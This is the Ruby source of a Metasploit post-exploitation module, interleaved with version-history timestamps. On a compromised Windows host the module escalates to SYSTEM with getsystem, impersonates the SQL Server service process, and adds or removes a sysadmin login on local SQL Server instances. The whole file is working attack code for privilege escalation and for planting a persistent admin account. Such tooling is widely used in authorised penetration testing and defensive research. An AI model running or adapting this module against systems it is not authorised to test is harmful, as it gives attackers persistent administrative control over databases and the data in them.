metasploit-framework/modules/post/windows/manage/mssql_local_auth_bypass.rb

151 lines
5.3 KiB
Ruby
Raw Normal View History

2013-03-07 23:53:19 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 23:53:19 +00:00
##
require 'msf/core'
require 'rex'
2015-02-24 22:05:16 +00:00
require 'msf/core/post/windows/mssql'
2015-03-17 15:28:17 +00:00
class Metasploit3 < Msf::Post
2015-02-24 22:05:16 +00:00
include Msf::Post::Windows::MSSQL
2013-08-30 21:28:54 +00:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
'Description' => %q{ When this module is executed, it can be used to add a sysadmin to local
SQL Server instances. It first attempts to gain LocalSystem privileges
using the "getsystem" escalation methods. If those privileges are not
sufficient to add a sysadmin, then it will migrate to the SQL Server
service process associated with the target instance. The sysadmin
login is added to the local SQL Server using native SQL clients and
stored procedures. If no instance is specified then the first identified
instance will be used.
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
is assigned syadmin privileges. Microsoft changed the default in
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
However, this can be overcome by migrating to the SQL Server process.},
'License' => MSF_LICENSE,
'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
2015-02-24 22:05:16 +00:00
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
2013-08-30 21:28:54 +00:00
], self.class)
end
def run
# Set instance name (if specified)
2015-02-24 22:05:16 +00:00
instance = datastore['INSTANCE'].to_s
2013-08-30 21:28:54 +00:00
# Display target
print_status("#{session_display_info}: Running module against #{sysinfo['Computer']}")
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
# Identify available native SQL client
get_sql_client
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
# Get LocalSystem privileges
system_status = get_system
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
2015-04-16 19:44:56 +00:00
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
2013-08-30 21:28:54 +00:00
print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
2013-08-30 21:28:54 +00:00
if datastore['REMOVE_LOGIN']
remove_login(service, instance_name)
else
add_login(service, instance_name)
end
ensure
# attempt to return to original priv context
session.sys.config.revert_to_self
2013-08-30 21:28:54 +00:00
end
end
2015-02-24 22:05:16 +00:00
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
unless add_login_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
2013-08-30 21:28:54 +00:00
else
2015-02-24 22:05:16 +00:00
raise $!
2013-08-30 21:28:54 +00:00
end
end
end
2015-02-24 22:05:16 +00:00
def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
unless remove_status
raise RuntimeError, "Retry"
2013-08-30 21:28:54 +00:00
end
2015-02-24 22:05:16 +00:00
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
2013-08-30 21:28:54 +00:00
else
2015-02-24 22:05:16 +00:00
raise $!
2013-08-30 21:28:54 +00:00
end
end
2015-02-24 22:05:16 +00:00
end
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
def add_sql_login(dbuser, dbpass, instance)
print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...")
2015-02-24 22:05:16 +00:00
query = mssql_sa_escalation(username: dbuser, password: dbpass)
2013-08-30 21:28:54 +00:00
# Get Data
2015-02-24 22:05:16 +00:00
add_login_result = run_sql(query, instance)
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
case add_login_result
when '', /new login created/i
print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
2015-02-24 22:05:16 +00:00
return true
when /already exists/i
2015-04-16 20:04:11 +00:00
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
2015-02-24 22:05:16 +00:00
when /password validation failed/i
2015-04-16 20:04:11 +00:00
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
2013-08-30 21:28:54 +00:00
else
print_error("#{session_display_info}: Unable to add login #{dbuser}")
print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
2015-02-24 22:05:16 +00:00
return false
2013-08-30 21:28:54 +00:00
end
end
2015-02-24 22:05:16 +00:00
def remove_sql_login(dbuser, instance_name)
print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"")
2015-02-24 22:05:16 +00:00
query = "sp_droplogin '#{dbuser}'"
2013-08-30 21:28:54 +00:00
2015-02-24 22:05:16 +00:00
remove_login_result = run_sql(query, instance_name)
2013-08-30 21:28:54 +00:00
# Display result
2015-02-24 22:05:16 +00:00
if remove_login_result.empty?
print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")
2015-02-24 22:05:16 +00:00
return true
2013-08-30 21:28:54 +00:00
else
# Fail
print_error("#{session_display_info}: Unabled to remove login #{dbuser}")
print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")
2015-02-24 22:05:16 +00:00
return false
2013-08-30 21:28:54 +00:00
end
end
2012-09-04 20:37:04 +00:00
end